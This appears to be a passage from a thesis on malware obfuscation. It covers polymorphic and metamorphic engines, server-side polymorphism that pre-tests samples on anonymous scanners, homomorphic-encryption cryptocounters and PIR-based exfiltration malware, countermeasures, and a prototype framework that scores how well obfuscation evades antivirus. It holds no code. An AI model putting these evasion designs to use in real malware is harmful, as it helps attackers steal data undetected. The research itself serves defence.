Polymorphism means many forms or shapes and is derived from the Greek words poly (i.e. many) and morphe (i.e. form or shape). It represents the second implementation of the malicious dynamic primitive and has a similar architecture like that used in the oligomorphic approach as shown in Figure 3.3. The main difference is that the obfuscation set is neither fix nor predefined, but rather determined and assembled at runtime. Furthermore, it is not only based on encryption mechanisms like its predecessor, but utilises the combination of different obfuscation techniques such as garbage code insertion (see 3.2 Malicious duplicate) and code reordering (see 3.4 Malicious reorder).

Beside customised obfuscation layers, there exists an interesting polymorphic engine that is not only used by penetration testers (e.g. by myself), but also by malware authors, namely Shikata-Ga-Nai. It is not only a Japanese idiom meaning "Nothing can be done about it" [251], but also represents a polymorphic XOR additive feedback encoder [185] that lives up its name! Its beauty lies in its advanced features:

1. *Polymorphic decoder stub*
   The decoder stub is polymorphic and based on code substitution (see 3.6 Malicious map) and reordering (see 3.4 Malicious reorder).

2. *Additive feedback*
   This feature is used to create the chained self modifying keys for the substitution process and also ensures that every error in the decoding input or key will result in an incorrect output.

3. *FPU instructions*
   The use of these instructions has two fundamental advantages. Firstly, it obfuscates the decoder stub by using the combination of instructions such as fnstenv and pop to retrieve the EIP stealthily. Secondly, the FPU instructions serve as a means of evading emulators (e.g. QEMU) as they do not fully
Malicious dynamic support this instruction set and therefore cannot execute nor recover this kind of code [60].

Towards their dream of being able to implement evolutionary malware, the authors have started to swap out their polymorphic engines to their own infrastructure in order to increase the analysis effort. As illustrated in Figure 3.4, this technique is known as server-side polymorphism and works as follows [114]:

1. Once a victim is infected, its necessary computer information is sent to the corresponding C&C server that registers its new slave.

2. A specific malware instance is generated and uniquely obfuscated by utilising the polymorphic engine. In turn, the malware instance is either verified locally or sent to an anonymous online multiscanner such as NoDistribute [156] or Scan4You [195]. The big advantage here is that the malware instance is not going to be shared amongst the anti-virus community like in the case when using Virustotal [221] for example!

3. Once successfully verified, i.e. the malware instance is not detected, it is dropped on a download server, which could be an already hacked server or part of the malware author’s infrastructure.

4. Finally, the C&C server pushes the client to download the unique piece of malware. Nrgbot, Caperb and Shiz are concrete examples, which are delivered in this way in order to steal credentials for banking services!

I must admit that this approach is ingenious! Further, imagine that this technique is combined with metamorphic code (see 3.10.2) as well. In this case, the analogy

Figure 3.4: The lifecycle of server-side polymorphism (Source: [114])

1. Once a victim is infected, its necessary computer information is sent to the corresponding C&C server that registers its new slave.

2. A specific malware instance is generated and uniquely obfuscated by utilising the polymorphic engine. In turn, the malware instance is either verified locally or sent to an anonymous online multiscanner such as NoDistribute [156] or Scan4You [195]. The big advantage here is that the malware instance is not going to be shared amongst the anti-virus community like in the case when using Virustotal [221] for example!

3. Once successfully verified, i.e. the malware instance is not detected, it is dropped on a download server, which could be an already hacked server or part of the malware author’s infrastructure.

4. Finally, the C&C server pushes the client to download the unique piece of malware. Nrgbot, Caperb and Shiz are concrete examples, which are delivered in this way in order to steal credentials for banking services!

I must admit that this approach is ingenious! Further, imagine that this technique is combined with metamorphic code (see 3.10.2) as well. In this case, the analogy
to software diversity is achieved as a uniquely generated and obfuscated malware instance can be delivered per victim. Let us call it *malicious diversity*!

What is more, server-side polymorphism has also found its way into the mobile world as shown by the Android malware called *Opfake*, which is primarily used to send SMS to premium-rate numbers [212].

### 3.10.2 Metamorphism

In Greek, *meta* means *beyond* and so is the metamorphic approach, namely beyond oligomorphism and polymorphism. Metamorphism is the third implementation of the malicious dynamic primitive and not about the obfuscation of the malware asset, but rather all about semantic-preserving malware body mutation. To use the words of Dr. Muttik: "*Metamorphics are body-polymorphics [213]*." The architecture of a metamorphic engine is accordingly much more complex than the ones used to build oligomorphic and polymorphic engines. Thereby, the following main components build a metamorphic engine as highlighted in Figure 3.5:

![Figure 3.5: The architecture of a metamorphic engine (Source: [229])](image)

1. **Disassembler**
   The task of this component is obvious. The disassembler takes the binary code of the malware instance to be mutated and retrieves the corresponding assembly instructions.

2. **Transformer**
   In turn, the transformer that represents the heart of this engine, recovers the CFG, interprets the instructions and applies obfuscating transformations, by conducting binary rewriting in order to create a new malware variant.

3. **Assembler**
   Finally, the assembler translates the new code into machine binary code again.

*Lexotan32* [159], *Simile* [215] and *Zmist* [214] are fascinating malware examples, which implement the dynamic primitive by using a metamorphic engine!
3.10.3 Countermeasures

Fighting the malicious dynamic primitive is challenging! Starting with oligomorphic and polymorphic based protection layers, one approach is to statically dissect every malware variant layer by layer in order to get the asset, which in turn can be used as an identification pattern. In addition, the de-obfuscator can also be used as an identification pattern if it is carried within the malware variant itself. In case of oligomorphism, one analysis session usually suffices as it reveals the fixed set of possible obfuscating transformations and therefore can be used to define identification patterns for all possible variants. However, these manual approaches are very time consuming and inefficient due to the enormous number of possible variants. On the contrary, the use of dynamic approaches has the advantage that the malware variant can be forced to de-obfuscate itself, but as presented in this chapter, there exist obfuscation techniques (see 3.9 Malicious tamper-proofing), which put dynamic approaches in their place! Therefore, it is inevitable to combine both, static and dynamic approaches in order beat these two implementations of the dynamic primitive.

What about Shikata-Ga-Nai? I always wondered if it is possible to recover an asset that is obfuscated by this polymorphic encoder, but never had a chance to investigate this case. Just recently, Farley and Wang demonstrated in their work that it is in fact possible! CodeXt is the name of their proposed framework based on selective symbolic execution (S2E). Moreover, the recovery of the malware’s asset is two-parted. Firstly, symbolic execution is applied to recover potentially disjoint, misaligned, self-modifying code from all execution paths within a given memory range. Secondly, intelligent memory update clustering and multi-layer snapshots are used to finally recover all code fragments of incremental decoding. Nevertheless, it is notable to mention that their approach does not address the determination of maliciousness! Its sole purpose is to extract obfuscated code from run-time memory upon real-time detection of malicious behaviour (e.g. by an IDS) [60].

When it comes to counter metamorphism, it seems to be a hopeless case at a first glance. As metamorphic engines achieve high diversity of variants, they decrease the probability of shared patterns amongst the generated malware variants and therefore render signature-based detection useless. Is this really a dead loss? No, not really! Fortunately, diversity does not always lead to indistinguishability! In this case, white-lists could be extremely helpful. In this context, white-lists contain features of benign binaries that are used to flag potentially malicious code in case of their absence. In addition, this approach becomes more effective as the malware variant diversity increases [148]. What is more, as a fan of reverse-engineering, we do not have to forget that a metamorphic engine is nothing more than a piece of software as well. This implies that it contains bugs with a high probability, which we can utilise to our advantage, namely as an identification pattern.

3.11 Conclusion

The arsenal of malware-oriented obfuscation techniques is already immense and becomes even bigger and more sophisticated with each passing day. In addition, it is
very difficult to predict the future of the techniques that will follow. However, as shown in this chapter by introducing the malware-oriented obfuscation primitives, we already know for sure where they will originate from. There is no implementation that will surprise me in the future anymore, because I know now that it will be an implementation based on one of these primitives or a combination of them. Furthermore, I would like to invite the reader to challenge the primitives introduced like Collberg’s words did invite me to challenge his novel primitives as described in chapter 2.

The presented state-of-the-art obfuscation mechanisms have all proved their effectiveness by penetrating real systems, either as a standalone primitive implementation or in combination with other primitives. In my opinion, when facing obfuscated malware, we are not powerless, but always a step behind. This is due to the cover time that is ensured by the obfuscation layers. In turn, their cover time delays our reaction time, which consists of the required time to identify the threat, analyse, document and finally mitigate it by using a combination of countermeasures, which also have been proposed in this chapter.

But hold on! The vast majority of the suggested countermeasures in this chapter assume that we already have an indication of malicious behaviour! In turn, this triggers and allows us to fight back the implementations of the corresponding primitives. But how can we always satisfy this assumption? Unfortunately, the answer is that we cannot. In general, it is undecidable whether a program represents malware or not as already proved by Cohen [44].

In general, our systems are able to perform nicely when it comes to withstanding attacks that are already known, but they usually fail to survive novel attacks, especially zero days. Although there are very promising approaches such as heuristic based detection and machine learning detection (e.g. Naive Bayes, Decision Tree, Data Mining, Neural Networks, Hidden Markov Models) that I do not want to dismiss by no means, they will never be accurate and guarantee 100% protection. This is due to their nature of being non-deterministic algorithms that will produce false positives and also lack on resilience against malicious input.

To use the words of Confucius: "Our greatest glory is not in never falling but in rising every time we fall." Therefore, being hit by a zero day is not a shame in my opinion, but being hit by the same attack twice must not be tolerated! Our protection mechanisms are only as good as our state of knowledge concerning our adversary and that is why we have to investigate more in possible obfuscation mechanisms in order to be able to fight back. We cannot win the arms race, but we can ensure to keep pace with the adversary’s arsenal. So, what comes next?
As mentioned in chapter 2, the recent breakthrough in cryptography is based on Gentry’s amazing work that makes it possible to implement a fully homomorphic encryption scheme [65]. Furthermore, this is just another implementation of the map primitive (see section 3.6) and therefore just a matter of time until homomorphic encryption also enters the malware author’s toolbox. Or is it already deployed and in use without our knowledge?

The goal of this chapter is therefore to discuss the possible misapplications of homomorphism by malware as well as to predict trends regarding obfuscation mechanisms that could evade our protection mechanisms in the near future.

### 4.1 Homomorphic encryption

Homomorphism is derived from the Greek words *homos* (i.e. same) and *morphe* (i.e. shape or form) and represents a structure-preserving map between two algebraic structures (e.g. groups, rings, or vector spaces) [241]. In the context of cryptography, it is based on a well-known property called *malleability* whose origin and discovery goes back to the 70’s when public-key cryptography had its debut [242]. Homomorphic encryption schemes are all malleable by design, i.e. they allow specific operations to be carried out on ciphertext, which results match the outcomes of the exactly same operations performed on plaintext [254].

As shown in table 4.1, RSA is malleable via multiplication that results in multiplicative homomorphism. The Goldwasser-Micali scheme is also malleable via multiplication, but has a homomorphic property with regards to the XOR operation. In contrast, the Paillier scheme, which is also malleable via multiplication, results in additive homomorphism. These examples have one thing in common, namely that they only support one operation on ciphertexts and therefore are only regarded
4.1 Homomorphic encryption

<table>
<thead>
<tr>
<th>Scheme</th>
<th>Malleability</th>
<th>Homomorphism</th>
</tr>
</thead>
<tbody>
<tr>
<td>RSA</td>
<td>$D(E(x_1) \cdot E(x_2)) = x_1 \cdot x_2$</td>
<td>Multiplicative</td>
</tr>
<tr>
<td>Goldwasser-Micali</td>
<td>$D(E(b_1) \cdot E(b_2)) = b_1 \oplus b_2$</td>
<td>XOR</td>
</tr>
<tr>
<td>Paillier</td>
<td>$D(E(x_1) \cdot E(x_2)) = x_1 + x_2$</td>
<td>Additive</td>
</tr>
</tbody>
</table>

Table 4.1: Examples of malleability in homomorphic encryption schemes (Source: [254])

$(x := \text{plaintext bits} \mid b := \text{plaintext bit})$

as partially homomorphic schemes. Gentry’s scheme [65] on the contrary supports both operations, namely multiplication and addition on ciphertexts and thus allows to construct circuits, which in turn can perform arbitrary computation. Nevertheless, focusing on its current implementation, we can see that this scheme will not be attractive for malware writers in the near future due to its impracticability with regards to complexity, efficiency and performance. In order to underpin these facts, the public-key size ranges from 70 MB (low security) to 2.3 GB (high security) whereas the ciphertext size is larger than 780 KB for just a single bit of plaintext [67, 88]! These numbers are abnormally large compared to the corresponding numbers of today’s cryptographic schemes deployed in benign or malicious systems. Although there is active research in this area with fruitful proposals such as [36, 205, 211] and [31] for improving the overall performance of FHE schemes, they are still immature and not ready to be abused by malware.

But hold on! Do malware writers really require a complete fully homomorphic scheme in order to abuse homomorphism? No, not at all! Partially homomorphic schemes can also support malware in becoming more challenging to combat. In my opinion, there exist two cases, which could be hardened by applying partially malicious homomorphism to our disadvantage. The following two sections describe these two cases, namely the implementation of cryptocounters and private information retrieval based on the misuse of homomorphism.

4.1.1 Cryptocounters

The underground economy of malware is highly profit-oriented. Recently, this has been once again proved, namely by the ingenious malware called Carbanak [101]. In addition, in order to get a proper overview of successful infections, malware authors require tools for measuring their deployment outcomes (e.g. replication performance of viruses) in the wild. A simple concept to manage this, is the use of counters. For example, counters can be effectively used to measure the height of a virus family tree as well as the average number of children that each virus has [288]. Conficker is an excellent example that uses a counter with the goal to keep account of the total number of machines, which could be successfully infected by the infecting instance [170]. However, as counters are in plaintext, they not only give the malware writers a good overview of their malicious population deployed, but also the analysts conducting static analysis. This is where cryptocounters come in.

Based on the definition of Dr. Young and Dr. Yung, a cryptocounter represents a probabilistic public key encryption that encrypts a counter value that anyone can
4.1 Homomorphic encryption

increment or decrement, but that only can be decrypted using the corresponding private key [288]. Figure 4.1 illustrates the steps required to set up a cryptocounter:

1. Cryptocounter setup
   In a first step, the counter is initialised and the underlying partially homomorphic encryption scheme $PHE$ (e.g. ElGamal [59], Paillier [160]) is chosen. In turn, the counter is encrypted once with the public key $PubKey$ resulting in the encrypted counter $counter_{ENC} = PHE_{PubKey}(counter)$.

2. Cryptocounter increment
   The malware instance (e.g. a virus) leaves its manufacturing plant containing the encrypted counter. Once it successfully infects a victim, the counter is incremented by executing the homomorphic encryption scheme’s specific operation (e.g. for ElGamal and Paillier the increment takes place by multiplying the cryptocounter with the generator $g$ that is part of the public key tuple) on the ciphertext that triggers the homomorphic property resulting in a correctly carried out increment.

3. Cryptocounter consumption
   Finally, when it comes to the evaluation of the counter value, the encrypted counter is either extracted by the malware author or sent by the malware instance. Once retrieved, the malware owner decrypts it by using the corresponding private key $PrivKey$ resulting in the plain counter $counter = PHE_{PrivKey}(counter_{ENC})$.

4.1.2 Private Information Retrieval

A more powerful approach of abusing a partially homomorphic encryption scheme within malware is its combination with private stream searching algorithms resulting in PIR-based malware. Furthermore, as proposed in [23], a Bloom filter can be used as well in order to increase the solution’s performance. Whether used in military, political, or commercial espionage, PIR-based malware is the key to steal and exfiltrate sensitive information in a stealthy manner. Even if detected and fully under control by an analyst, i.e. full control of its input and execution environment, it is
theoretically not possible to determine the malware’s objective as its operations are 
executed on its encrypted asset at runtime! This frightening approach is illustrated 
in Figure 4.2 and works as follows:

1. **PIR-based malware setup**
   The asymmetric key pair \( (\text{PubKey}, \text{PrivKey}) \) based on the chosen PHE scheme is generated. What is more, the asset \( \text{query} \) (e.g. keywords with regards to sensitive information, system vulnerabilities) is defined as well. In turn, the asset is encrypted by using the public key \( \text{PubKey} \) resulting in \( \text{query}_{\text{Enc}} = \text{PHE}_{\text{PubKey}}(\text{query}) \).

2. **PIR-based malware creation**
   The malware instance is assembled and consists of the encrypted asset, the public key and the private stream search algorithms, which are able to operate on the encrypted asset.

3. **Infiltration**
   Once completed, the malware instance leaves its birthplace and tries to infiltrate itself into the system of the targeted victim.

4. **Information Retrieval**
   As soon as the victim is infected, the malware instance tries to achieve its objectives defined in its encrypted asset \( \text{query}_{\text{Enc}} \) by retrieving as much information as possible from its surroundings via corresponding system calls. Thereby, the system calls and all modifications made to the compromised host are in plain, i.e. visible to an analyst. However, the malware instance addresses this lack by making the input set as big as possible (e.g. scanning for all programs, libs, kernel, configuration files, documents, sniffed network traffic, etc.) with the goal to destroy the possibility of predicting the malware’s objectives based on its input and output behaviour.

5. **Private Information Retrieval**
   Once the input set is complete, it is passed as a stream together with the public key \( \text{PubKey} \) and the encrypted query \( \text{query}_{\text{Enc}} \) to the private stream search algorithm. In turn, the private stream search algorithm encrypts the incoming stream with the public key \( \text{PubKey} \) and retrieves its matches with

---

**Figure 4.2: PIR-based malware in action** (Sources: [23, 24])
the keywords within \( \text{query}_{\text{Enc}} \) by directly operating on the ciphertexts. The
details of the processing steps are described in [24] and are based on the
Paillier scheme. Nevertheless, other PHE schemes could be used as well, which
would cause slight changes to the private stream search algorithm, especially
if the underlying homomorphism is not additive. Moreover, it is important
to highlight that the result set of the private stream search algorithm is still
encrypted.

6. Ex-filtration
The retrieved result set \( \text{resultSet}_{\text{Enc}} \) is then ex-filtrated by the malware
instance.

7. Consumption
Finally, once received, the encrypted result set is decrypted by using the pri-
vate key \( \text{PrivKey} \) in order to get the plain version of it, namely \( \text{resultSet} = \text{PHE}_{\text{PrivKey}}(\text{resultSet}_{\text{Enc}}) \). The content of the result set is varying and de-
pends on the queried keywords. For example, it could contain sensitive in-
formation extracted from confidential documents or names of libraries that
contain specific vulnerabilities, which are not patched yet or potentially new
zero days. In turn, this information can be misused to mount tailored attacks.

4.1.3 Countermeasures
Regardless of being statically or dynamically under control, revealing a crypto-
counter’s plain value is a big challenge if correctly implemented by the adversary.
Detecting a cryptocounter statically is thereby just the easy part as its existence is
exposed by its much bigger size compared to the plain counter as well as the con-
spicuous operations that are directly executed on the cryptocounter. Once detected,
an analyst can theoretically only retrieve the plain counter value by either getting
access to the private key or by breaking the underlying hard problem of the used
scheme (e.g. the Discrete Logarithm Problem in case of ElGamal and the Decision
Composite Residuosity Problem in case of Paillier). Nevertheless, proper, bug-free
and hardened cryptographic implementations are rare in practice, which in turn
can be exploited. For example, a virus containing a cryptocounter based on the
ElGamal scheme without the use of re-randomisation of the ephemeral key \( k \) during
the encryption process, i.e. not generating a new \( k \) for each increment, will leak
the virus’ path [288]. Furthermore, as a cryptocounter does not have any integrity
protection by default, an analyst can decrement or increment it in order to tamper
it.

When it comes to PIR-based malware, it is impossible to determine the infor-
mation sought by the malware instance, neither statically nor dynamically. As all
sensitive operations with regards to the malware are directly executed on cipher-
texts, an analyst can only determine the sought information if the underlying hard
problem of the chosen PHE scheme can be broken assumed that its implementation
is flawless. A further assumption is that the private stream search algorithm does
not leak any sensitive information neither that in turn could be used to reveal the
malware’s objective. However, the main weakness of PIR-based malware is its significant computation required while operating on ciphertexts. Therefore, patterns based on CPU usage could be a helpful characteristic for host-based anomaly detection systems. As the CPU load is predictable for given systems, especially in case of sensitive servers, this approach as proposed by Bethencourt et al., can effectively be applied to detect and disrupt such PIR-based attacks [23]. At a first glance, exfiltration of the encrypted result set could also be a weakness of this approach as the result set could become quite big. Though, the size of the result set as well as the given bandwidth do not really matter as the result set can be split up into chunks (applying split & merge, see section 3.3) and covertly transported via pervasive protocols (applying malicious mimic, see section 3.7) in order to avert suspicion (e.g. by network-based anomaly detection).

4.2 Obfuscation trends

The vast majority of the malware-oriented obfuscation techniques presented in chapter 3 are customised. Firstly, this is due to their nature of being tailored in order to protect specific malware assets for different phases of the malware’s life-cycle (i.e. infiltration, infection, operation and exfiltration) as well as its varying surroundings. Secondly, customised techniques have the following advantages over using modern state-of-the-art security mechanisms and best practices (e.g. use of standardised cryptographic algorithms and libraries) that we apply to our products in industry to ensure long-term security:

1. Customisation can completely remove or retain characteristics of standard mechanisms in order to either leave analysts and scanners in the dark or to fool them into thinking that they have identified the used obfuscation method although they have not. The result is an increase in stealth and resilience.

2. In general, it is debatable if customisation increases the difficulty of reverse-engineering, but it will make the job of the analyst more time-consuming for sure. As described in 3.6.2 for example, when it comes to standard encryption mechanisms and if the used algorithm and key are found, a decryptor can be easily written by using a standard cryptographic library. In contrast, it is unlikely that a decryptor for a customised encryption mechanism will be freely available. Therefore, an analyst has to implement this decryptor, which can become a daunting task.

The increase of stealth and resilience through customised and proprietary obfuscation comes at a price, namely its reduction of providing long-term security due to its lack of being scrutinised by security experts. However, as the cover time of the malware’s asset is usually much shorter than the cover time of the assets that we try to protect in industry, this approach becomes a tolerable trade-off for malware authors. Therefore, in my opinion, customised obfuscation techniques will rise and become even more widespread in the near future. This statement is underpinned by the recently seen high calibre malware instances developed by the Equation Group.
4.3 Conclusion

FHE schemes are fortunately not ready at all to become part of the malware author’s toolbox due to their weak performance. In contrast, PHE schemes can already be selectively used to protect malware assets in a provably secure manner assumed that the underlying PHE algorithms are properly implemented and bug-free. Nevertheless, we are not powerless and can still fight back by using CPU-load based patterns for detection. Moreover, sophisticated malware of tomorrow will be heavily relied on customised and proprietary methods in order to achieve stealth and resilience at the expense of a limited cover time. Even if obfuscation mechanisms are in general condemned to be insecure in theory (see section 2.3.2 Provably Secure Obfuscation), they can be very successful in practice by protecting an asset for a very long time (e.g. several years) as it was achieved by Carbanak [101]. The obfuscation mechanisms revealed in chapter 3 are just an excerpt of known implementations. What about the coming or completely unknown ones? Not investigating in future obfuscation mechanisms would deal a death blow to the anti-malware industry and implicitly to our protection mechanisms. Although the malware-oriented obfuscation primitives are established now as introduced in chapter 3, where do we have to start with our investigation in order to keep pace with the techniques that are likely to be used in the near future? What are the most effective and dangerous mechanisms that we have to care about? The framework proposed in the next chapter is thereby an approach to help us to move to the right direction.
It is inevitable to investigate in future obfuscation mechanisms in order to be able to keep pace with the associated threats by building corresponding countermeasures and rearming our protection mechanisms. But the immense possibilities to invent new obfuscation techniques based on the primitives introduced in chapter 3 reduce us to despair. So, where do we have to start? Answering this question requires knowledge about the effectiveness of current and future malware-oriented obfuscation mechanisms that in turn can highlight the weaknesses in our detection and protection systems by evading them.

**MOVE** (Malware-oriented Obfuscation Effectiveness Evaluation) is my proposed framework that is able to measure the effectiveness of malware-oriented obfuscation techniques with regards to the evasion of detection systems. Furthermore, to the best of my knowledge, it is the first framework that explicitly tries to measure the effectiveness of malware-oriented obfuscation. In addition, it literally attempts to move the focus of research to the most effective obfuscation techniques with the goal to find corresponding countermeasures. What is more, its heart is based on the malware-oriented obfuscation primitives introduced in chapter 3.

The objective of this chapter is therefore to introduce the MOVE Framework by presenting its architecture, how it is evaluated and the test vectors required. Moreover, the status of the implemented prototype is discussed as well.

### 5.1 MOVE Framework

The MOVE Framework is illustrated in Figure 5.1 and consists of the following building blocks:

- **Obfuscation Extraction**
  This building block represents the manual dissection and categorisation of...
5.1 MOVE Framework

Figure 5.1: The high level view of the MOVE Framework

known malware-oriented obfuscation layers based on the defined primitives as it has be done in chapter 3.

- **NextGen Obfuscation**
  The objective of this building block is to allow to extend the implementation repertoire of the primitives by new techniques as proposed in chapter 4.

- **Obfuscation Primitives**
  These are the primitives introduced in chapter 3 and used to categorise all possible implementations of malware-oriented obfuscation techniques as well as to serve as a means in order to assess their effectiveness in evading detection.

- **Transformer**
  In a first step, a malware instance is chosen, which either does not have implemented any obfuscation mechanism or contains an ineffective implementation, i.e. the malware instance is detectable by present detection systems. In turn, the transformer takes the chosen malware instance as input and transforms it by obfuscating its asset with one or more implementations of one or more primitives. Once obfuscated, the malware instance is submitted to a chosen detection system such as Virustotal [221], MetaScan [124], Anubis [108], etc.

- **Static and Dynamic Analysis**
  Given the obfuscated malware instance, static and dynamic analysis are applied by known tools in order to detect the malware instance. In turn, their result set is forwarded to the Report Module.

- **Report Module**
  This module analyses the different result sets of the varying tools and tells the Feedback Module to reward the used obfuscation implementation and implicitly its associated primitive based on the chosen metric described in section 5.1.1.
• Feedback Module
Finally, this module actually rewards the corresponding obfuscation mechanisms and thereby handles rewards separately with regards to static and dynamic analysis approaches.

5.1.1 Malware-oriented Obfuscation Effectiveness Metric
In 1986, Dr. Fred Cohen proved in his dissertation [44] by contradiction that it is in general undecidable whether a program $P \in \mathcal{P}$ represents a malware instance $M \in \mathcal{M}$ or not, i.e. $P \in \mathcal{M}$ where $\mathcal{P}$ is the set of all possible programs, $\mathcal{M}$ is the set of all malicious programs and $\mathcal{M} \subset \mathcal{P}$:

$$
D_M(M) = \top
$$

Let us assume that $D_M$ is a perfect malware detector algorithm and $M$ represents an instance of the set of all malicious programs $\mathcal{M}$. If the first equation is satisfied and $D_M$ will detect $M$, then $M$ will halt. On the other hand, if $D_M$ will fail to detect $M$, then $M$ will spread onwards. This implies that if there was a perfect detector algorithm, it would also solve the halting problem [240].

In order to define a metric for assessing the effectiveness of malware-oriented obfuscation, I slightly adapted the equations from above and derived the following definition, which represents my metric:

**Definition 5.1.1.** (Reward & Punishment). An implementation of a malware-oriented obfuscating transformation $T$ is rewarded if a malware detector $D_M$ cannot detect the asset of the malware instance $M$ obfuscated by $T$. Otherwise, if the malware detector $D_M$ succeeds in detecting the asset of the malware instance $M$ obfuscated by $T$, the obfuscating transformation $T$ is penalised by receiving no reward.

$$
D_M(T(M), \text{asset}(.)) = \bot \mapsto \top \quad \text{(Reward)}
$$

$$
D_M(T(M), \text{asset}(.)) = \top \mapsto 0 \quad \text{(Punishment)}
$$

**Definition 5.1.2.** (Malware-oriented obfuscation effectiveness). Based on the definitions of Reward and Punishment (see Definition 5.1.1), the effectiveness of a malware-oriented obfuscating implementation $O_E$ in evading a malware detector $D_M$ is defined as the sum of all rewards given by the $N$ malware detectors tested at the rate of all assessments:

$$
O_E = \sum_{i=1}^{N} \frac{\text{Reward}_i}{\text{Reward}_i + \text{Punishment}_i}
$$

5.1.2 Evaluation and Test Vectors
In order to measure the effectiveness of the corresponding implementations of the primitives as well as the overall effectiveness of the primitive itself, we need to have
the implementations in place. In turn, they can be either applied to a malware instance via binary rewriting or by directly extending the source if available. In addition, the accuracy of the framework improves with the increasing number of known and available implementations as well as existing detection solutions. In other words, it represents an empirical framework. Unfortunately, this is also its main drawback as its initialisation requires time and effort.

Table 5.1 shows the required implementations to initialise the framework. Moreover, it is important to highlight that not all implementations can be applied straightforward to the malware instance that will operate on client side. For example, the implementations of the malicious indirection primitive such as the anonymous network approach require that the malware asset is hidden in the darknet whereas implementations of the malicious advertisement primitive such as malvertising require human interaction, i.e. fooled victims downloading the malware. Therefore, these implementations need to be carefully prepared and set up. Furthermore, the effort required to implement the implementations of primitives depending on binary rewriting such as duplicate, split & merge, reorder, map, tamper-proofing and dynamic must not be underrated as well. In these cases, it is fundamental to ensure the that corresponding obfuscating transformations retain the semantic of the used malware in order to not falsify the results of the detection systems by submitting non-working malware. Therefore, it is inevitable to invest in corresponding test cases, which increase the accuracy of the framework at the expense of justified implementation costs.

5.2 Prototype

The goal of the prototype was to check if it is feasible to implement the proposed framework as described in section 5.1. Thereby, it is important to note that it would have been an unrealistic task for this short time frame to also include the individual implementations of the primitives. However, as these implementations are necessary to test the prototype, mocks have been created based on existing implementations, which are described in section 5.2.4.

The prototype has been implemented based on a classical three-tier architecture consisting of a persistence, business and application layer, which are described in the following sections.

5.2.1 Persistence Layer

The data model created for this layer is the heart of the prototype as it represents the required building blocks of the MOVE Framework as described in section 5.1. Figure 5.2 shows the ER diagram representing the data model, which is in IDNF. In addition, the concrete implementation is based on SQLite [208], which is excellent for prototyping. Furthermore, the data model consists of the following tables:

- **maliciousPrimitive**
  This entity represents the malware-oriented obfuscation primitives introduced in chapter 3. It has the following attributes:
<table>
<thead>
<tr>
<th>Primitive</th>
<th>Implementations required</th>
</tr>
</thead>
<tbody>
<tr>
<td>Malicious cover</td>
<td>Archivers (see section 3.1.1), Packers (see section 3.1.2)</td>
</tr>
<tr>
<td>Malicious duplicate</td>
<td>NOP-like instructions, Opaque predicates (see section 3.2.1)</td>
</tr>
<tr>
<td>Malicious split &amp; merge</td>
<td>Variables &amp; keywords splitting / merging, Process &amp; hook injection$^W$, Inline, outline &amp; interleave functions, Reflection and JNI$^A$ (see section 3.3.1)</td>
</tr>
<tr>
<td>Malicious reorder</td>
<td>Code permutation (see section 3.4.1)</td>
</tr>
<tr>
<td>Malicious indirection</td>
<td>Anonymous networks &amp; VPNs (see section 3.5)</td>
</tr>
<tr>
<td>Malicious map</td>
<td>Data encoding (see section 3.6.1), Encryption (see section 3.6.2), PHE schemes (see section 4.1), Angecrypt (see section 4.2)</td>
</tr>
<tr>
<td>Malicious mimic</td>
<td>Pervasive protocols (see section 3.7.1), Process hollowing$^W$ (see section 3.7.2), Repackaging &amp; Digital Signatures$^A$ (see section 3.7.3)</td>
</tr>
<tr>
<td>Malicious advertisement</td>
<td>Malvertising (see section 3.8.1), RTB (see section 3.8.2)</td>
</tr>
<tr>
<td>Malicious tamper-proofing</td>
<td>Anti-disassembly (see section 3.9.1), Anti-debugging 3.9.2, Anti-VM (see section 3.9.3)</td>
</tr>
<tr>
<td>Malicious dynamic</td>
<td>Oligomorphism &amp; Polymorphism (see section 3.10.1), Metamorphism (see section 3.10.2)</td>
</tr>
</tbody>
</table>

Table 5.1: Test Vectors for the MOVE Framework

$W := \text{Windows specific} | A := \text{Android specific}$
Figure 5.2: MOVE Persistence Layer v1.0
ER diagram - Data Model (IDNF)
Notation: Chen [38]
5.2 Prototype

- **mp_id**: Primary key
- **name**: Name of the primitive
- **desc**: Short description of the primitive

• **primitive_impl**
  All primitive implementations are represented by this entity, which consists of the following attributes:
  - **pi_id**: Primary key
  - **name**: Name of the primitive’s implementation
  - **desc**: Short description of the primitive’s implementation

• **malicious_primitive_impl**
  This table is a relationship type and ensures that one malicious primitive can have multiple implementations whereas one primitive implementation exactly belongs to one malicious primitive. The used attributes to enforce these requirements are as follows:
  - **mp_id**: Foreign key that references the primary key of the maliciousPrimitive entity
  - **pi_id**: Foreign key that references the primary key of the primitiveImpl entity
  - **unique_constraint(pi_id)**: Ensures that pi_id is unique

• **transformation**
  A transformed malware instance is represented by this entity consisting of the following attributes:
  - **tf_id**: Primary key
  - **name**: Name of the transformed malware instance
  - **desc**: Short description of the transformed malware instance

• **transf_using_primitive_impl**
  This relationship type ensures that a transformed malware instance can be based on multiple primitive implementations and that a primitive implementation can be used by any malware obfuscating transformation. These requirements are thereby enforced as follows:
  - **tf_id**: Foreign key that references the primary key of the transformation entity
  - **pi_id**: Foreign key that references the primary key of the primitiveImpl entity

• **analysis_report**
  This entity represents an report containing the computed malware-oriented obfuscation effectiveness based on definition 5.1.2 with regards to all antimalware solutions tested. In addition, there is one report for each transformation based on the following attributes:
5.2 Prototype

- **ar_id**: Primary key
- **name**: Name of the report
- **desc**: Short report description
- **effectiveness**: Computed effectiveness of the used obfuscating transformation

- **analysis_type**
  In order to be able to distinguish between the resilience of the obfuscating transformation against static and dynamic analysis approaches, this entity has been created. Its attributes are:
  - **at_id**: Primary key
  - **type**: Predefined values, i.e. either static or dynamic
  - **desc**: Short description of one of these two possible approaches

- **analysis_type_report**
  A relationship type that ensures that a report’s result is either based on a static or dynamic analysis approach. It has the following attributes:
  - **ar_id**: Foreign key that references the primary key of the **analysis_report** entity
  - **at_id**: Foreign key that references the primary key of the **analysis_type** entity
  - **unique_constraint(ar_id)**: Ensures that ar_id is unique

The required SQLite scripts to create and initialise the prototyped MOVE database can be found in the appendix (see section A.9 and A.10).

### 5.2.2 Business Layer

The functionality of the business layer has been implemented by using Python. Figure 5.3 highlights the classes that were derived from the proposed MOVE Framework.

- **AbstractAntiMalwareSolution**
  This abstract class represents an interface, which allows to access implementations of existing anti-malware solutions. Currently, I have only implemented the Virustotal service [221] that is used for testing purposes. However, this interface can be easily extended in the future. The corresponding source code can be seen in the appendix (see section A.5).

- **VirustTotalServiceImpl**
  This class represents a concrete implementation of the interface **AbstractAntiMalwareSolution**, namely Virustotal’s service implementation (see section A.6 for the source code).
5.2 Prototype

Figure 5.3: MOVE Business Layer v1.0
Class diagram
